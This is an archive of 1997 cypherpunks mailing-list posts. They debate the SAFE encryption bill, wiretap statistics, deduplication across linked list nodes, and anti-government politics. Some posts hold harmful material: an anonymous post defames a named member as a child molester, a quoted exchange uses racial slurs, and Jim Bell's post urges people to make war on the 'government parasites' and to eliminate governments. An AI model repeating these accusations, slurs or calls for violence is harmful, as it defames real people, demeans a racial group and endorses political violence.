fraught with more dangers, to a company like Grumman, than nearly any Web
pages I can imagine.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:21:37 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140129.UAA23683@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: Tim May <tcmay@got.net>
> Subject: Re: The Interlinked Cypherpunks Lists? (fwd)

> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 

Exactly, pity that isn't what you stated in the first place.

> >This again is anti-cpunks, it forces a level of cooperation and information
> >sharing that is in direct opposition to beliefs in anonymity and privacy.
> >I don't want it known who is subscribed to lists through SSZ, in short:
> >It isn't any of your damn business and quit asking.
> 
> No one has ever said you, or SSZ, or anyone, has to participate.

Sorta defeats the whole concept of 'inter-linked lists' doesn't it? The
point was to make it easy for ANYONE who wanted to participate. If you
exclude parties because they won't do it 'your' way what is the difference?
Nada, null, nill, zero, nothing.

I can see it now; "oh, if you want to be a member you have to run this
set of scripts that automaticaly subscribes you to the other lists and you
can expect repeated querries of your subscription database. Oh, by the way
you are also agreeing to have other lists subscribe and unsubscribe their
user lists to your site at their operators whim. Oh yeah, and if they get
really clever they can have you shipping subscription lists of your
membership all over the place as well."

Sounds so much like the FBI going to the library for loan records and
denial of service attack it isn't even funny.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:10:40 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140015.TAA23269@einstein.ssz.com>
Message-ID: <199705140138.UAA11417@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140015.TAA23269@einstein.ssz.com>, on 05/13/97 at 06:15 PM,
   Jim Choate <ravage@EINSTEIN.ssz.com> said:


>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Tue, 13 May 97 19:23:46 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary...

>> I personaly think that this is a good thing. :)))
>> 
>> Every bill that *is not* passed by congress is just that much more freedom
>> that is saved. If all the bills passed by congress over the past 100yrs.
>> could all be repealed no one would miss them in the least (well no one
>> except the STATEST). 

>Yeah,

>Blacks could go back to being niggers.
>Women could go back to being barefoot and pregnant
>etc...

>Talk about statest.

I don't know where you get the above from?

I supose that your statest brainwashing has convinced you that such social
issues could have only been resolved by Federal intervention. Quite the
contrary is true. Any laws passed by congress in these areas were brought
about *because* society was already moving in those directions not the
other way around.

If someone is going to descriminate on the basis of race or sex or any
other criteria they are going to do so reguardless of what laws are passed
in DC.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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Za965UQBPET+wvbqgbk7XvCRXe/XOSMIEZmIF5Q8p2dREPulaVWMPF1YYgvtMu6k
taaLbqHQsxjiQj7uzlJ6N5VgPNxZFqjRV60O/P+UAURrjM4gMwDZFCAl97lQc0s1
msr5G15PmLM=
=pEmA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 12:19:34 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140347.UAA24759@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 12:11:07 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007804af9ea94e831c@[168.161.105.191]>
Message-ID: <v03007808af9ef441b39e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:32 PM -0800 5/13/97, Declan McCullagh wrote:

>A two-hour debate over whether KKK volunteers could be sued for
>spilling coffee on an 8-year old at a bake sale blew through
>millions of dollars in billable lobbyist-hours and prevented the
>House Judiciary Committee from voting on Rep. Bob Goodlatte's
>(R-VA) SAFE crypto bill today.
>
>Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
>hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
>the "Volunteer Protection Act," which insulates people volunteering
>for nonprofit organizations from civil liability.
>
>But would that apply to the KKK, wondered Conyers? Is the KKK a
>registered 501(c)(3) organization under the IRS code? What about
>501(c)(4) organizations? What if a KKK member decided to build houses
>for Habitat for Humanity?

Though this was presumably not the thrust of Declan's article, the notion
that "some organizations are more insulated than others" (to paraphrase
George Orwell) is itself pernicious and revealing about the nature of
Washington.

If indeed the KKK, or the Knights of Aryanism, or the Panthers of Color are
501(c) entities, which is quite possible, then *if course* they should get
whatever status other 501(c) entities get!

(The issue of state vs. Federal jurisdiction, and the "Lopez" case, is not
what's at stake here.)

When either the Federal or state government can use policy to reward
certain types of organizations, e.g., the National Organization for Women,
but punish other types of organizations, e.g., the Aryan White Peoples
Organization, then all is lost.

(But all was lost a long time ago.)

This is actually just as important a story as whether Netscape and
Microsoft will get their special export provisions while Americans face
criminal penalties for exercise of basic Constitutional rights.


Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
sigh of relief for at least a few more months?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:20:57 +0800
To: John Young <jya@pipeline.com>
Subject: Re: 96 Wiretap Report
In-Reply-To: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>
Message-ID: <199705140202.VAA11766@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>, on 05/13/97 at
07:26 PM,
   John Young <jya@pipeline.com> said:


>We offer the text and three summary tables of the
>U.S. Courts "1996 Wiretap Report" at:

>   http://jya.com/96wiretap.htm  (36K)


I noticed in the summary report that e-mail interceps were used. Is their
more detailed information on this? I would be intrested to know how
involved the govenment is becoming involved in this area. Of great intrest
would be the location and means used to do such taps.

Thanks again for providing a wealth of information,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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2scmwLwpsxv1P5VIaWiOiGLtYp+7CcPzd/lHEgPeyA+81VBkcBsdH41P4tywEH7Z
dCKTFNi9dh0=
=OBuw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:21:07 +0800
To: cypherpunks@toad.com
Subject: Re: whine politics again
Message-ID: <199705140406.VAA01440@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer Anonymous Remailer wrote:

> What the ultimate result here should be we all demand our legislators pass
> a law prohibiting the establishment of daycare centers, schools, hospitals
> or nursing homes within 1000 ft of government centers, army bases, or any
> federal offices.
> 
> They could call it the "No Human Shielding law."
> 
> What legislator would dare complain that the federal government not use
> his or her constituents children to shield ATF, FBI or other TLA agents?

  No BATF agents died in the Oklahoma City bombing. Seems they all had
the day off, so they didn't need shielding. (They didn't have the
decency
to suggest that the daycare take the day off, as well.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:35:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705140406.VAA01463@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone too gutless to use their real name and full address in 
their email, disguising themself as "The Spectre" wrote:

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.  If you've got something to say, say it.
> Anything less is cowardice, in one form or another.


  It seems that The Spectre finds much on this list to be worthless,
including the value of anonymity. (Except in his or her own case,
obviously.)
  All of The Spectre's comments seem to be reruns of old posts
which were followed by calls for list censorship. Personally, I
prefer the ASCII art.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:16:48 +0800
To: cypherpunks@toad.com
Subject: Re: Real Terrorism
Message-ID: <199705140406.VAA01539@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> > AMMONIUM TRIIODIDE CRYSTALS
> Sigh.  Terror isn't our business, and any handbook that
> can't tell ammonium tri-iodide from nitrogen tri-iodide
> is more dangerous to its readers than anyone else.
> 
> If you _really_ wanted to scare governments,
> you'd start publishing papers saying things like
> 
>         AMENDMENT 1 - Congress shall make no law ......

  But if we did that, then Congress would probably pass
a law for our protection...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Wed, 14 May 1997 06:05:54 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970513211124.83.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 12 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: PGP
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that 
> Graham-John Bullers wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:32:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <v03007805af9ed5fd9760@[207.167.93.63]>
Message-ID: <199705140219.VAA12003@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007805af9ed5fd9760@[207.167.93.63]>, on 05/13/97 at 08:50 PM,
   Tim May <tcmay@got.net> said:


>The "duplicates" issue has been discussed by others. Even if message IDs
>are not enough to find duplicates--someone reported that the same message
>from algebra and cyberpass have different IDs--I would think that using
>the sender, message title, and date of origin ought to be more than enough
>to spot duplicates.

>Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
>-0800 5/13/97, Jim Choate" should be unique.

I have been doing some work in this area and IMHO the above is not enough
to properly weed out the duplicates. Not that it woun't catch them but it
will also throw out some non duplicate messages. I would recomend that the
criteria be extended to include the seconds in the time stamp (4:34:25). If
the seconds are not available perhaps generating a hash of the messages
body and compairing would work.

I'm not trying to quibble but I have seen in the past where an author will
post a message and there will be multiple replies to the message. The
author will then reply to the replies and several of these messages will
have the only difference will be the seconds on the time stamp.

Awhile back on one of my e-mail client list their was a disscussion on
wether the time stamp of a message should be generated at the time the
message is composed or at the time the message is sent. We had come to the
conclution that the time the message was composed was the best route to
take. Other e-mail clients may have taken the other route which would
increase the chances on non duplicate messages haveing the same hour:min in
the time stamp.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 09:39:09 +0800
To: cypherpunks@toad.com
Subject: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer the text and three summary tables of the
U.S. Courts "1996 Wiretap Report" at:

   http://jya.com/96wiretap.htm  (36K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 10:38:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <v03007805af9ed5fd9760@[207.167.93.63]>
Message-ID: <199705140227.VAA18280@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> At 4:34 PM -0800 5/13/97, Jim Choate wrote:
> 
> >> > * Is it possible for the interlinked lists to send out announcements of
> >> > list problems to subscriber of all such lists? (Each list owner could do a
> >> > periodic "who cypherpunks" of the other lists, then use this list to
> >>send a
> >> > message if a problem comes up. More sophisticated cross-processing could
> >> > eliminate duplicates, etc.)
> >
> >Sounds like time to start another list subscribed to the existing nodes
> >and offer such services to the subscribers at the operators whim.
> >
> >I oppose any action which would force the list to become more 'cooperative'
> >in the sense that each node operator would be forced (sorta anti-cpunks I
> >believe) to comply with some set of scripts and such they didn't develop in
> 
> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 
> The "duplicates" issue has been discussed by others. Even if message IDs
> are not enough to find duplicates--someone reported that the same message
> from algebra and cyberpass have different IDs--I would think that using the
> sender, message title, and date of origin ought to be more than enough to
> spot duplicates.

Tim, what you are proposing is no different from any other cypherpunks
node. So if you suggest to add more nodes, I am all for it.

What you describe above is precisely what algebra, cyberpass, and
ssz.com do now.

It is not a "just another service" as you suggest below, it is
exactly the same service, but on a new node.

Actually, I think that it is important to add one more node to the
network: ssz.com has mail delivery problems and the two more or less
reliable nodes are cyberpass and algebra. I do not see it as *sufficiently*
robust, since the probability of both of them being down is on the
order of 0.5%.

> No, this is just another filtering service, one designed to collect
> messages from as many inputs as possible and send them out, without
> duplicates.

> "Get a life." What an original insult.

> Reminds me why you usually reside in my filter file, Jim. Back in it you go.

Tim, if you read what goes into your filter file, putting anyone there
does not mean that you ignore them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 13:06:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007808af9ef441b39e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970513213103.18020C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Nope, SAFE isn't dead. I'll bet you a couple bucks it'll make it out of
House Judiciary in about 14 hours. Markup Wednesday at 1:30 pm, followed
by a vote on the flag burning amendment. (Oh baby!)

Goodlatte came up to me after the subcommittee vote not long ago and told
me how he had the votes on Judiciary to get it through, no sweat. But then
it goes I believe to International Relations as part of a sequential
referral. We'll see what happens there. More opposition, certainly.

There's some minor good news. The "crypto in furtherance of a crime" 
provision likely will be yanked in favor of an eight-part test that's
going to be pretty damn tough for prosecutors to prove. I have the text on
my Duo and I'm on my NeXT, so I won't include it here but I may send it
along later. (BTW, I just installed Mach Ten on my Duo. Finally, a csh
prompt on a Mac!) 

Still, I'm not happy with it. I think the best way to deal with the crypto
embargo is to let the courts decide. (I'm particularly a fan of Peter's
lawsuit.) That, and write code. 

-Declan


On Tue, 13 May 1997, Tim May wrote:
> Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
> sigh of relief for at least a few more months?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 11:41:13 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: <199705140332.WAA12963@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140116.UAA23579@einstein.ssz.com>, on 05/13/97 at 07:16 PM,
   Jim Choate <ravage@EINSTEIN.ssz.com> said:


>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Tue, 13 May 97 20:33:41 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

>> >> Every bill that *is not* passed by congress is just that much more freedom
>> >> that is saved. If all the bills passed by congress over the past 100yrs.
>> >> could all be repealed no one would miss them in the least (well no one
>> >> except the STATEST). 
>> 
>> >Yeah,
>> 
>> >Blacks could go back to being niggers.
>> >Women could go back to being barefoot and pregnant
>> >etc...
>> 
>> >Talk about statest.
>> 
>> I don't know where you get the above from?

>Constitutional Amendments are general passed by Congress. Hence, your
>statement taken literaly is advocating a great deal of good that has come
>from such actions.

Well I was not thinking of Constitutional Amendments when I made my
orriginal statement as they require ratification by the States to become
law. After thinking on it awhile though I think it would be vailid to
include some of them. I don't have a copy of the Constitution handy so I
will try to address them from memory.

Voting Amendments:

If I recall right there was nothing in the constitution that prevented
women from voting. This was done through state law. I beleive with the
growing support of the sufferget movemnet in the country at the time that
this issue would have been resolved either at the state level or through SC
rulling that the states were acting unconstitionally. I beleive that this
is how the Jim Crow and other state voting laws were abolished.

I do think that droping the voting age from 21 to 18 was a good thing. If
you are old enough to fight and die for your country you should be old
enough to vote for/against the bastards that are getting you killed.

Anti-Discrimination Amendments:

While I think that it was a good thing to abolish State enforced
discrimination I do not like the intrusion into the private sector that has
been a result. I beleive that there is a "right of association" that every
individule has. I should be able to determin who I associate with on
whatever basis I chose to make that determinination. I could go on for
pages on this subject but I beleive that overall such legislation has hurt
the Black community more than it has helped it.


>> I supose that your statest brainwashing has convinced you that such social
>> issues could have only been resolved by Federal intervention. Quite the
>> contrary is true. Any laws passed by congress in these areas were brought
>> about *because* society was already moving in those directions not the
>> other way around.

>I was a small boy in the 60's in and around Houston. I remember what it
>was like before and after the desegregation that took place in the
>mid-60's when I started elementary. I can promise you from personal
>experience there were still seperate washrooms and fountains. Sweeney, Tx.
>still had a sign on Interstate 90 that said (and I quote) "If you are
>black don't let the sun set on you in Sweeney." (the sign was on private
>property adjacent to the interstate I found out years later)

I never questioned that such things went on. Much of this was enforced by
law which was wrong.

>As to a little modern social commentary. Ride the city bus in your town
>for 1 month each day. During that time keep track of where people sit.
>Would you like to explain why the majority of blacks still sit in the back
>of the bus?

Well since I haven't rode the bus in years I really can't confirm or deny
this. I don't recall this when I rode the L and buses in Chicago but then
again it was not somthing I really paid attention to. (Personaly I prefer
riding towrads the back of the bus but it does not have the stigma
associated with it that it may for others).

>And for those who are white with real cajones, walk into a black bar
>around 1AM on a Sunday.

Heh, I do this quite often. :) As an avid Jazz & Blues fan and so-so
Corrnet player I have frequented "black" bars in Chicago, KC, St. Louis,
Houston, & New Orleans. I never experinced any problems outside of the
normal things that happen if you spend enough time in the bars.

I also consider myself a fairly good pool player which tends to bring me
into "black" bars and pools halls on a regular basis.

Now if you are talking of some hole-in-the-wall right around the corner
from the projects then no I do not frequent such places late at night but I
doubt that many middle class black do either. Well there was an after hours
joint I used to go to on Galviston but stoped going after the guy I was
talking to got his kneecap blown off. I decided it was much wiser just to
get a carryout at 2am. :)

>> If someone is going to descriminate on the basis of race or sex or any
>> other criteria they are going to do so reguardless of what laws are passed
>> in DC.

>Absolutely, as is their Constitutionaly protected right. THE FEDERAL
>GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
>EVER, PERIOD. Private individuals and companies should, and can,
>discriminate to their hearts content. I personaly wouldn't deal with a
>business that I knew a priori discriminated against employees or customers
>based on sex, religion, etc. as a matter of standard policy. I suspect
>that most others with 2 halves of a clue to rub together would refuse as
>well.

Absolutly. I have always beleived that the only color that truely matters
in this country is green. If a company or indivdule does not ingage in a
policy that you support then vote with your wallet. This brings me back to
my orriginal message. Things did not start to change in this country until
the Black community, with the support of many whites, rallied together and
refused to accept the status quo. This is why things started to change back
in the 60's not because of legislation from DC. The polititions were merly
jumping on the bandwagon.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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uFTM5pSW4gk=
=h3iH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 13:11:13 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <199705140456.VAA05054@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:34 5/13/97 -0700, Kent Crispin wrote:
>On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>>Governments have murdered 170 million people since 1900.  My
>>back-of-the-envelope estimate is that the civilians of the world have only
>>murdered about 20 million people in the same period of time.  Quite a
>>disparity.
>
>Your estimate seems high to me.  But it is meaningless, in any case.

This isn't the first time you've called information that is detrimental to
your position words equivalent to "meaningless."  I suppose that's easier
than disproving the other person's claim, or proving your own.  

>First of all, it neglects to consider that governments may have 
>prevented more murders than they caused.  This is unknowable, since 
>we don't have any worthwhile control cases.

Your position is laughable.  Statistics on murder rates are knowable for
many countries.  Studying the murder rate for those countries will at least
provide a range against which deaths due to government-caused wars can be
compared.  

>Second, such cases of civil breakdown aside, all humans, for now and
>for the conceivable future, live within the context of some kind of
>government.  The option of non-government simply doesn't exist. 

That's precisely what the governments and their agents want us to believe.
Minarchism is certainly possible, and at the risk of appearing to blow my
own AP-horn, it is indeed plausible that the public can take down all
governments in a reasonably straightforward fashion.  The fact that
governments will strongly dislike this option is no reason to not consider
the possibility.


> The 
>issue is how can governments be improved.


By eliminating them, of course.

>Third, murders caused by governments can't really be separated from
>murders caused by individuals.  That is, in many cases deciding
>whether a murder is a personal action or a government action is
>impossible. 

"Aye vas joost vollowink orderz!"

Sorry, we're still laughing at you.

>Fourth, it's fashionable in these circles to paint all governments
>with the same brush, but in fact, some are much better than others.  
>But it only takes one bad one to start a war.  Furthermore, human 
>motivations are complex and irrational, so wars are started for 
>essentially insane reasons.  This is a human problem, not a problem 
>of government.

No, quite the contrary.  Considered from the perspective of the cumulative
interests of society, wars are not beneficial or "profitable."  Only from
the very limited viewpoint of the military-industrial complex and government
employees does war appear to be a net benefit, and that's true only because
the interests of most of the population (on whom the effect of war is a net
negative) is ignored.  The reason war occurs is that the decision to have a
war is made not by society as a whole, but by that tiny fraction which profits.

Put the decision to have the war back into the hands of the population as a
whole, and war will decrease.  Give the public the option to make war upon
the government parasites infesting their own land, and war will end forever.

>[Parenthetically, it is absolutely amazing to me that he and
>practically everyone on this list just seems to assume McVeigh is
>guilty...do they know something I don't?]

For the purposes of most of the arguments we make, the identity of the
actual bomber is irrelevant.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 13:21:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <199705140035.TAA10601@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970513220459.18020F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I appreciate William's comments, but he fails to understand the reality of
the situation. Let's forget about the "furtherance" provision for a
moment.

Congress is not passing a new law in lifting export controls. Rather, it
is reducing the sweep of one it already passed that the White House has
abused.

-Declan


On Tue, 13 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <v03007804af9ea94e831c@[168.161.105.191]>, on 05/13/97 at 05:32 PM,
>    Declan McCullagh <declan@well.com> said:
> 
> 
> >The Net's crypto wet-dreams were demolished this afternoon by a
> >Congressional committee's fear of coffee-drenched kids and the Ku Klux
> >Klan.
> 
> [Discription of a typical day in congress sniped]
> 
> 
> >It worked. By 5:15 pm, after a dozen amendments, the committee passed the
> >"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
> >faced with the choice of bashing the KKK or tackling crypto policy, what
> >would you do?
> 
> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 
> 
> SAFE was a bad ideal as any law regulating crypto. I do not need DC's
> permision to exercise my 1st Admendment rights any more than I need their
> permision to exercise any of my rights.
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
>                           
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
>  
> Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3kX0Y9Co1n+aLhhAQFNmgP+NYbfMx5fX506NhGiCQVS/3IGo2/b3IcE
> mBLEsVnOwggkrz/ebO5r4rnQNhKTzd0tCqxQtGAtR7lRna/cQsFg2wqVHpwX/G70
